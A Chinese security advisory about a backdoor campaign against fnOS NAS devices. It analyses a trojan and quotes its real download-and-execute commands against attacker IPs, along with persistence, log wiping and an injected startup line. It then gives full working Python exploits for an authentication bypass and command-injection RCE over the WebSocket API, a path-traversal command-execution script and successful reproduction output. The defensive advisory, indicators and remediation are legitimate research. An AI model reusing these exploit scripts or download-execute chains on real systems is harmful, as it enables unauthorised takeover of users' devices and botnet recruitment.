重要/漏洞
飞牛fnOS疑似遭公网未授权访问/利用后植入后门组件
漏洞编号:暂无(官方未公开/未分配CVE)
重要等级:严重(高危)
CVSS 分数:暂无
时间线
最早入侵记录:1月19日左右
用户察觉异常:1月21日左右,主要因设备出现对外异常行为(含对外攻击/连接异常增多)导致网络不稳定而被发现。1月21–22日期间观测到任务/指令下发行为
综合判断:攻击者至少利用了约3-4天“空窗期”在用户察觉前完成感染、持久化与回连准备
官方侧:据反馈,官方约在1月21日左右因用户集中反映“建立大量连接、网络不稳定”等现象,才进一步定位并确认漏洞风险
总结:本次针对fnOS的漏洞利用活动呈现多团伙、多基础设施特征:疑似存在2–3个利用团伙,攻击流程较为成熟,并观察到多个C2(命令与控制)域名用于回连与任务下发。当前已明确捕捉到DDoS攻击指令,被入侵设备存在被纳入僵尸网络风险。
影响范围
飞牛fnOS<=1.15
fnOS 设备存在公网可达入口(端口映射/反代/直连公网)时风险显著上升;官方建议升级至1.1.15并验证关闭公网映射后异常是否停止。
论坛反馈即使仅使用HTTPS访问也可能出现同类驻留现象,说明风险不应仅限定为HTTP明文通道(可能存在其他公网暴露面、历史入侵残留或服务端漏洞可经HTTPS触发)
木马行为分析
目前LoopDNS频道编辑已获取相关木马文件(膜拜大佬Orz),下为行为分析:
入侵者在通过未公开入口/利用链投放后门下载器后并执行
下载二阶段载荷并执行(观测到的命令链)
cd /tmp
wget http://20.89.168.131/nginx
chmod 777 nginx
head -c 16 /dev/urandom >> nginx(向文件追加随机字节,改变哈希,规避基于哈希的检测)
./nginx
wget http://20.89.168.131/trim_https_cgi
chmod 777 trim_https_cgi
head -c 16 /dev/urandom >> trim_https_cgi
./trim_https_cgi
外联与拉取补充组件
HTTP:GET http://151.240.13.91/trim_fnos
TCP:连接 45.95.212.102:6608
后门驻留组件gots
A1. 写入后门主体与持久化文件
创建/写入:/sbin/gots
创建/写入:/etc/rc.local、/etc/rc.d/rc.local
创建/写入 systemd 服务(变种服务名):
/etc/systemd/system/x86.service
/etc/systemd/system/<sha256>.service
执行持久化:systemctl enable <service>.service(含重定向到 /dev/null 的静默执行)
自身复制/改名落地:
/usr/bin/x86(样本发生目录重命名/落地)
/usr/bin/<sha256>(样本发生目录重命名/落地)
A2. C2 通信与探测
DNS:解析 aura.kabot.icu -> 45.95.212.102
TCP:连接 45.95.212.102 多端口(观测到:3489、5098、6608、7489)
论坛样本显示的附加行为(strings/排查结论)
干扰系统工具:重命名/替换 cat(出现 mv /usr/bin/cat /usr/bin/cat2 等字符串,导致“cat 丢失”现象)
结束系统进程:pkill -f 'network_service|resmon_service'
修改持久化入口:改写 /etc/rc.local 与 /etc/systemd/system/%s.service 并 systemctl enable
外联:包含 45.95.212.102 字符串并进行访问
3. 组件 trim_https_cgi
清理痕迹
清空多目录日志:/var/log/*、/usr/trim/logs/*、/run/log/journal 等
删除审计日志:/var/log/audit/audit.log 及滚动文件
删除/清理安全相关日志:/var/log/secure*、/var/log/messages*、wtmp/btmp/lastlog 等
干扰业务与恢复功能
结束服务:pkill -f backup_service、pkill -f sysrestore_service 等
二阶段下载执行与启动脚本注入
修改 /usr/trim/bin/system_startup.sh,追加下载执行链:
wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
端口相关痕迹与疑似隐藏监听(来源于论坛排查)
目标系统存在 0.0.0.0:57132 LISTEN,ss/netstat 无 PID,lsof/fuser 无结果
trim_https_cgi 字符串包含 57132,并出现 kill -9 $(lsof -t -i:57132) 之类处理逻辑(提示该端口为其链路的一部分)
内核模块snd_pcap(论坛排查)
/etc/modules 被追加 snd_pcap
模块文件:/lib/modules/6.12.18-trim/snd_pcap.ko
与“57132 监听无 PID/无 lsof 结果”的现象存在关联怀疑(疑似内核层隐藏/驻留能力)
关键落地痕迹
不可变属性(immutable,需先 chattr -i 才能删除):
/usr/bin/nginx
/usr/sbin/gots
/usr/trim/bin/trim_https_cgi
/etc/systemd/system/nginx.service
/etc/systemd/system/trim_https_cgi.service
/etc/rc.local
伪装/复用:/usr/bin/nginx 与 /usr/sbin/gots md5 相同(同一载荷多名称投放)
rc.local自启:/sbin/gots x86 &
systemd自启(示例):ExecStart=/usr/bin/nginx x86(oneshot + enable)
可疑网络基础设施(IOC)
IP:45[.]95[.]212[.]102(C2/多端口连接)
IP:151[.]240[.]13[.]91(HTTP 拉取二阶段:/trim_fnos、论坛样本)
域名:aura[.]kabot[.]icu(解析到 45[.]95[.]212[.]102)
下载源:20[.]89[.]168[.]131(HTTP 拉取:/nginx、/trim_https_cgi)
归属信息:45[.]95[.]212[.]102 与 151[.]240[.]13[.]91(两个 IP 均归属 AS209554 ISIF OU 提供商网段)
攻击链
任意文件读取
系统的一个Web接口(/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../)未能正确过滤用户输入的路径,允许攻击者读取服务器文件系统上的任意文件。
在此攻击链中的作用:用于下载一个伪装成RSA私钥、但实际内嵌了硬编码AES密钥的文件(/usr/trim/etc/rsa_private_key.pem)。这是整个攻击的起点。
身份认证绕过
登录逻辑分析
用户请求 (Login/ChangePassword)
|
v
[ 应用程序 ]
|
+---> 1. 验证/修改密码
| |
| +---> [ 内存缓存 passwd ]
| |
| +---> [ Linux 系统调用 (crypt/PAM/chpasswd) ] ---> [ /etc/shadow ]
| |
| +---> [ smbpasswd 命令 ] ------------------------> [ Samba 密码库 ]
|
+---> 2. 登录成功后生成
+---> [ 内存缓存 secret, token ]
|
+---> [ PostgreSQL 数据库 ] ---> 表: longtoken授权命令执行需要拿到secret或者token。但读取堆内存略微困难,因此要么读取到longtoken转化为token,要么想办法利用业务漏洞。
交互逻辑分析
系统的WebSocket网关在验证用户身份时存在致命逻辑缺陷。它允许攻击者使用上述获取的AES主密钥,在本地凭空“创造”出一个服务器会认为是合法的临时token。
在此攻击链中的作用:攻击者利用此漏洞,无需任何用户名和密码,即可伪造出一个“已登录”的管理员身份,从而有权调用需要高权限的API接口。
前端使用Websocket协议交互,登录流程如下:

Token生成逻辑
上述下载的文件中,在固定偏移量(100字节处)硬编码了一个32字节的AES主密钥(Root Key)。
在此攻击链中的作用:为攻击者提供了“万能钥匙”。这是后续伪造合法用户凭证的核心要素。
在/usr/trim/bin/handlers/users.hdl中的do_login函数中包含了secret,token,longtoken的生成逻辑:
Secret(16字节):随机生成的16字节数据,强制将第16字节设置为
o。Token(32字节):
前16字节(IV):由时间戳、计时器和随机数拼接而成。
后16字节(Cipher):使用
RSA密钥对Secret进行AES加密后的数据。


因此secret和token可以相互转化,这点很重要。
在/usr/trim/bin/trim中的handle_websocket_packet函数中包含了鉴权逻辑。
后端能够解析两种类型的包:
加密包:不需要 secret 签名
明文包:除非
req白名单或者设置了no_sign,否则需要secret对请求体签名
看上去可以构造一个加密包,然后使用longtoken进行登录,从而绕过签名:
{
"req": "user.tokenLogin",
"reqid": xxx,
"token": long_token,
"deviceType": xxx,
"deviceName": xxx,
"did": xxx,
"si": xxx,
}遗憾的是,加密包会触发token长度的判断。

不过这里存在另一个漏洞:
验签时如果存在token字段,则直接对token解密得到secret,然后对请求体计算签名。

因此,可以自己生成secret和token绕过认证。


PoC
在通过认证后,一个用于添加Docker镜像的API接口(appcgi.dockermgr.systemMirrorAdd)未能正确处理其url参数。
在此攻击链中的作用:这是最终的执行环节。攻击者将恶意系统命令(如反弹Shell或下载执行脚本)注入到url参数中,服务器在处理该请求时会无条件执行这些命令
需获取系统中的rsa_private_key.pem(通过任意文件读取漏洞获取)。
import websocket
import json
import time
import base64
import argparse
import hashlib
import hmac
import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
# --- 目标配置 ---
TARGET_URL = "ws://192.168.108.168:5666/websocket?type=main"
# 攻击负载 (Mode 1 使用)
CMD_TO_EXECUTE = "/usr/bin/touch /tmp/pwned; /usr/bin/echo"
RCE_PAYLOAD_URL = f"https://test.example.com ; {CMD_TO_EXECUTE}"
class TrimProtocol:
"""处理 Trim 协议的加密、解密和签名逻辑"""
def __init__(self, key_path):
self.root_aes_key = self._load_root_key(key_path)
def _load_root_key(self, path):
if not os.path.exists(path):
print(f"❌ [Error] 找不到密钥文件: {path}")
sys.exit(1)
with open(path, 'rb') as f:
f.seek(100)
key = f.read(32)
print(f"🔑 [Key] 已加载 Root Key: {key.hex().upper()[:]}...")
return key
def get_reqid(self):
return str(int(time.time() * 100000))
def generate_fresh_token(self):
"""
[Mode 1 核心]
利用 Root Key 自行构造一个合法的 Token。
服务器网关只校验 Token 能否解密以及签名是否匹配,不一定校验 Token 是否在数据库中。
"""
# 1. 生成随机的 15 字节 Session Key
raw_session_key = get_random_bytes(15)
# 2. 构造 HMAC Key (Session Key + 0x6F)
hmac_key = bytearray(raw_session_key)
hmac_key.append(111)
# 3. 使用 Root Key 加密 Session Key 生成 Token 字符串
iv = get_random_bytes(16)
cipher = AES.new(self.root_aes_key, AES.MODE_CBC, iv)
# Pad 到 16 字节 (15 + 1 byte padding 0x01)
ciphertext = cipher.encrypt(pad(raw_session_key, AES.block_size))
token_blob = iv + ciphertext
token_str = base64.b64encode(token_blob).decode('utf-8')
return token_str, hmac_key
def extract_key_from_token(self, token_str):
"""
[Mode 2 核心]
从已有的 LongToken 中解密出 HMAC Key。
"""
try:
token_bytes = base64.b64decode(token_str)
iv = token_bytes[:16]
ciphertext = token_bytes[16:32]
cipher = AES.new(self.root_aes_key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
# 取前15字节 + 0x6F
session_key = decrypted[:15]
hmac_key = bytearray(session_key)
hmac_key.append(111)
return hmac_key
except Exception as e:
print(f"❌ Token 解密失败: {e}")
return None
def sign_packet(self, payload_dict, hmac_key):
"""对 Payload 进行签名并返回最终数据包字符串"""
json_str = json.dumps(payload_dict, separators=(',', ':'))
signature = hmac.new(hmac_key, json_str.encode('utf-8'), hashlib.sha256).digest()
sig_b64 = base64.b64encode(signature).decode('utf-8')
# 格式: Sig + JSON (无等号)
return f"{sig_b64}{json_str}"
class TrimAttacker:
def __init__(self, mode, key_path, long_token=None):
self.protocol = TrimProtocol(key_path)
self.ws = None
self.si = ""
self.step = 0
self.mode = mode # 'rce' or 'login'
self.long_token = long_token
def on_open(self, ws):
print(f"\n[1/2] 连接建立,发送握手包...")
# 必须先握手拿到 SI
payload = {"reqid": self.protocol.get_reqid(), "req": "util.crypto.getRSAPub"}
ws.send(json.dumps(payload))
self.step = 1
def on_message(self, ws, message):
try:
# 解析响应包
if message.startswith('{'):
data = json.loads(message)
elif message.find('{') > -1:
data = json.loads(message[message.find('{'):])
else:
return
# --- 步骤 1: 获取 SI ---
if self.step == 1 and "si" in data:
self.si = str(data["si"])
print(f"✅ [1/2] 握手成功 SI: {self.si}")
if self.mode == "rce":
self.do_rce(ws)
elif self.mode == "login":
self.do_login(ws)
self.step = 2
return
# --- 步骤 2: 处理响应 ---
if self.step == 2:
print(f"\n📩 [Response]:\n{json.dumps(data, indent=2)}")
if self.mode == "login" and data.get("result") == "succ":
print(f"\n🎉 [2/2] Token 获取成功")
print(f"Token: {data.get('token')}")
print(f"UID: {data.get('uid')}")
elif self.mode == "rce" and (data.get("result") == "succ" or data.get("errno") == 0):
print(f"\n🎉 [2/2] Exploit 发送成功")
print(f"注入命令: {CMD_TO_EXECUTE}")
else:
print(f"\n❌ [操作失败] Errno: {data.get('errno', 'Unknown')}")
ws.close()
except Exception as e:
print(f"❌ 运行异常: {e}")
ws.close()
def do_rce(self, ws):
"""功能 1: 仅凭 RSA 签名进行命令执行"""
print(f"\n[*] Mode: RCE")
# 1. 凭空生成一个合法的临时 Token
fake_token, hmac_key = self.protocol.generate_fresh_token()
print(f"[*] 生成伪造 Token: {fake_token[:]}...")
# 2. 构造 Payload
payload = {
"reqid": self.protocol.get_reqid(),
"req": "appcgi.dockermgr.systemMirrorAdd",
"url": RCE_PAYLOAD_URL,
"name": "RSA_Only_Exploit",
"token": fake_token, # 放入伪造的 Token 用于过网关验签
"si": self.si
}
# 3. 签名并发送
packet = self.protocol.sign_packet(payload, hmac_key)
print(f"[>] 发送 Payload...")
print(f"[>] Payload 内容: {packet[:]}")
ws.send(packet)
def do_login(self, ws):
"""功能 2: 使用 LongToken 换取会话 Token"""
print(f"\n[*] Mode: Login (LongToken)")
# 1. 从给定的 LongToken 解密出 Key
hmac_key = self.protocol.extract_key_from_token(self.long_token)
if not hmac_key:
print("❌ 无法解密 LongToken")
ws.close()
return
# 2. 构造 Payload
payload = {
"req": "user.tokenLogin",
"reqid": self.protocol.get_reqid(),
"token": self.long_token,
"deviceType": "Browser",
"deviceName": "Python-Tool",
"did": "python-tool-did",
"si": self.si
}
# 3. 签名并发送
packet = self.protocol.sign_packet(payload, hmac_key)
print(f"[>] 发送 Login 包...")
ws.send(packet)
def run(self):
self.ws = websocket.WebSocketApp(TARGET_URL,
on_open=self.on_open,
on_message=self.on_message)
self.ws.run_forever()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-k", "--key", required=True, help="rsa_private_key.pem 文件路径")
subparsers = parser.add_subparsers(dest="command", help="功能模式", required=True)
# 模式 1: RCE (不需要 LongToken)
rce_parser = subparsers.add_parser("rce", help="直接执行命令")
# 模式 2: Get Token (需要 LongToken)
login_parser = subparsers.add_parser("login", help="使用 LongToken 获取会话 Token")
login_parser.add_argument("-t", "--token", required=True, help="你的 LongToken")
args = parser.parse_args()
# 启动
attacker = None
if args.command == "rce":
attacker = TrimAttacker("rce", args.key)
elif args.command == "login":
attacker = TrimAttacker("login", args.key, long_token=args.token)
if attacker:
attacker.run()# 1. 命令执行
python poc.py -k ./rsa_private_key.pem rce
# 2. 获取会话token(这个是从postgresql数据库读出来的longtoken,用户勾选了下次登陆不用输入密码时,会自动生成并存储。用途是生成一个真正合法的会话token(存储在内存),而非直接通过rsa密钥伪造的token,有个别API会调用query_token_by_session,因此需要合法的token。而dockerimage的命令执行只需要伪造token)
python poc.py -k ./rsa_private_key.pem login -t 9XlXMOgDAABCfaZpAAAAAAluArwO5RZ2JbzjA6m9hmnjp0KtNSz/SA==以下最新PoC无需文件读取RSA私钥,只需使用加密包即可实现命令执行。
import websocket
import json
import time
import base64
import argparse
import sys
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
# --- 目标配置 ---
TARGET_URL = "ws://192.168.108.168:5666/websocket?type=main"
# 攻击负载
CMD_TO_EXECUTE = "/usr/bin/touch /tmp/hacked_via_encrypted_channel"
EXPLOIT_PAYLOAD_URL = f"https://test1145.example.com ; {CMD_TO_EXECUTE} ; /usr/bin/echo "
class TrimEncryptedExploit:
def __init__(self):
self.ws = None
self.si = ""
self.server_pub_key = ""
self.step = 0
def get_reqid(self):
return str(int(time.time() * 100000))
def create_encrypted_packet(self, inner_json_dict):
"""
构造 { "req": "encrypted", ... } 数据包
"""
try:
# 1. 生成临时的 AES-256 Key 和 IV
aes_key = get_random_bytes(32)
aes_iv = get_random_bytes(16)
# 2. 序列化内部 Payload
# 注意:separators 去除空格
inner_data = json.dumps(inner_json_dict, separators=(',', ':')).encode('utf-8')
# 3. AES 加密 Payload (CBC + PKCS7 Padding)
cipher_aes = AES.new(aes_key, AES.MODE_CBC, aes_iv)
encrypted_body = cipher_aes.encrypt(pad(inner_data, AES.block_size))
# 4. RSA 加密 AES Key (使用服务器公钥)
# 这样服务器收到后,能用它的私钥解出我们的 AES Key
rsa_key_obj = RSA.import_key(self.server_pub_key)
cipher_rsa = PKCS1_v1_5.new(rsa_key_obj)
encrypted_aes_key = cipher_rsa.encrypt(aes_key)
# 5. 组装最终包
wrapper = {
"req": "encrypted",
# "reqid": self.get_reqid(), # 外层通常不需要 reqid,如果需要可取消注释
"iv": base64.b64encode(aes_iv).decode('utf-8'),
"rsa": base64.b64encode(encrypted_aes_key).decode('utf-8'),
"aes": base64.b64encode(encrypted_body).decode('utf-8')
}
return json.dumps(wrapper, separators=(',', ':'))
except Exception as e:
print(f"❌ 加密构造失败: {e}")
return None
def on_open(self, ws):
print(f"\n[1/2] 连接建立,请求公钥...")
# 步骤 1: 拿公钥和 SI
payload = {
"reqid": self.get_reqid(),
"req": "util.crypto.getRSAPub"
}
ws.send(json.dumps(payload))
self.step = 1
def on_message(self, ws, message):
try:
# 简单解析
if message.startswith('{'):
data = json.loads(message)
elif message.find('{') > -1:
data = json.loads(message[message.find('{'):])
else:
return
# --- 步骤 1: 获取公钥和 SI ---
if self.step == 1 and "pub" in data:
self.server_pub_key = data["pub"]
self.si = str(data["si"])
print(f"✅ [1/2] 握手成功")
print(f" SI: {self.si}")
print(f" Pub Key 获取成功 ({len(self.server_pub_key)} bytes)")
# --- 步骤 2: 发送加密的 Exploit ---
self.send_exploit(ws)
self.step = 2
return
# --- 步骤 2: 接收结果 ---
if self.step == 2:
print(f"\n💣 [2/2] 收到响应:\n{json.dumps(data, indent=2)}")
if data.get("result") == "succ" or data.get("errno") == 0:
print(f"\n[+] 攻击成功!命令已通过加密通道发送。")
print(f"[+] 请检查服务器文件: {CMD_TO_EXECUTE}")
else:
print(f"\n[-] 攻击失败,错误码: {data.get('errno')}")
ws.close()
except Exception as e:
print(f"❌ 异常: {e}")
ws.close()
def send_exploit(self, ws):
print(f"\n[*] 正在构造加密 Exploit 包...")
print(f"[*] 注入命令: {CMD_TO_EXECUTE}")
inner_payload = {
"req": "appcgi.dockermgr.systemMirrorAdd",
"reqid": self.get_reqid(),
"url": EXPLOIT_PAYLOAD_URL,
"name": "EncryptedExploit",
"si": self.si
}
print(f"[*] 内部 Payload: {json.dumps(inner_payload)}")
packet = self.create_encrypted_packet(inner_payload)
if packet:
print(f"[>] 发送加密包 (Len: {len(packet)})...")
ws.send(packet)
def run(self):
self.ws = websocket.WebSocketApp(TARGET_URL,
on_open=self.on_open,
on_message=self.on_message)
self.ws.run_forever()
if __name__ == "__main__":
print("=== Trim 协议加密通道未授权 RCE 利用工具 ===")
exploit = TrimEncryptedExploit()
exploit.run()本地环境复现输出:
=== Trim 协议加密通道未授权 RCE 利用工具 ===
[1/2] 连接建立,请求公钥...
✅ [1/2] 握手成功
SI: 72057838851063817
Pub Key 获取成功 (451 bytes)
[*] 正在构造加密 Exploit 包...
[*] 注入命令: /usr/bin/touch /tmp/hacked_via_encrypted_channel
[*] 内部 Payload: {"req": "appcgi.dockermgr.systemMirrorAdd", "reqid": "177043471666747", "url": "https://test1145.example.com ; /usr/bin/touch /tmp/hacked_via_encrypted_channel ; /usr/bin/echo ", "name": "EncryptedExploit", "si": "72057838851063817"}
[>] 发送加密包 (Len: 733)...
💣 [2/2] 收到响应:
{
"reqid": "177043471666747",
"result": "succ",
"rsp": "ok"
}
[+] 攻击成功!命令已通过加密通道发送。
[+] 请检查服务器文件: /usr/bin/touch /tmp/hacked_via_encrypted_channel
拓展
CGI路径穿越
/usr/trim/bin/trim_http_cgi存在一个稍弱的路径穿越、命令执行。

filepath.Join并不防御路径穿越,因此能从/var/apps_ui穿越到/var,并执行任意文件。但存在有一些限制:
需要合法
token由于
nginx的解析问题,只能穿越一层到/var
利用思路:需要结合认证绕过和后文提到的postgresql数据库中的longtoken,生成一个合法token,调用文件上传的API,上传一个bash到/var目录。
import requests
import sys
TARGET_IP = "192.168.108.168"
TARGET_PORT = 5666
TOKEN = "g9auUGNTfmkV7fEAVF6qTdH2kQ9CgBkEHmkUBsNvU/8="
url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi/third-party/%2e./bash"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36",
"Authorization": f"token {TOKEN}",
"Content-Type": "application/x-www-form-urlencoded"
}
commands = "echo 1> /tmp/test.txt"
print(f"[*] Attacking: {url}")
print(f"[*] Using Token: {TOKEN[:10]}...")
print(f"[*] Command: {commands}")
try:
# 发送 POST 请求
response = requests.request("POST", url, headers=headers, data=commands, timeout=10)
print("\n[+] Status Code:", response.status_code)
print("[+] Response Body (Command Output):\n")
print("-" * 40)
print(response.text)
print("-" * 40)
except Exception as e:
print(f"[-] Error: {e}")读取PostgreSQL数据库
PostgreSQL数据库位于/var/lib/postgresql/*/main/base。
该目录下有若干个数据库目录,通常为40000+,需要读取每个数据库下的pg_class表(固定OID为1259),然后从中获取longtoken表的 OID。


处置建议
关闭公网端口映射/源站直通。
升级
fnOS至官方建议版本(1.1.19或更高)。出口防火墙封禁:
45.95.212.102、151.240.13.91,同时监控连接数与上传是否回落。轮换所有管理口令/密钥;检查容器、计划任务、数据盘是否存在触发残留(官方提示“重装后仍可能再次触发”)。
参考
免责声明
以上复现内容如涉及实操测试均为纯内网环境完成,测试机器如下图所示:

本文所述技术细节(包括但不限于漏洞原理、攻击链分析、PoC代码等)仅限用于以下合法用途:
安全研究:在获得系统所有者明确授权的前提下,于可控的测试环境(如本地虚拟机、专属内网)中进行漏洞验证与防御技术研究。
教育交流:作为网络安全知识学习与学术讨论的参考资料,旨在提升安全防护意识与能力。
授权测试:在合规的渗透测试或安全评估项目中,依据书面授权范围对目标系统进行测试。
任何个人或组织均不得将本文内容用于任何非法目的。 未经授权,对任何计算机信息系统(包括但不限于飞牛fnOS或其他系统)进行探测、扫描、攻击或破坏,均属于严重违法行为,将承担相应的法律责任。
《中华人民共和国网络安全法》 第二十七条规定,任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动。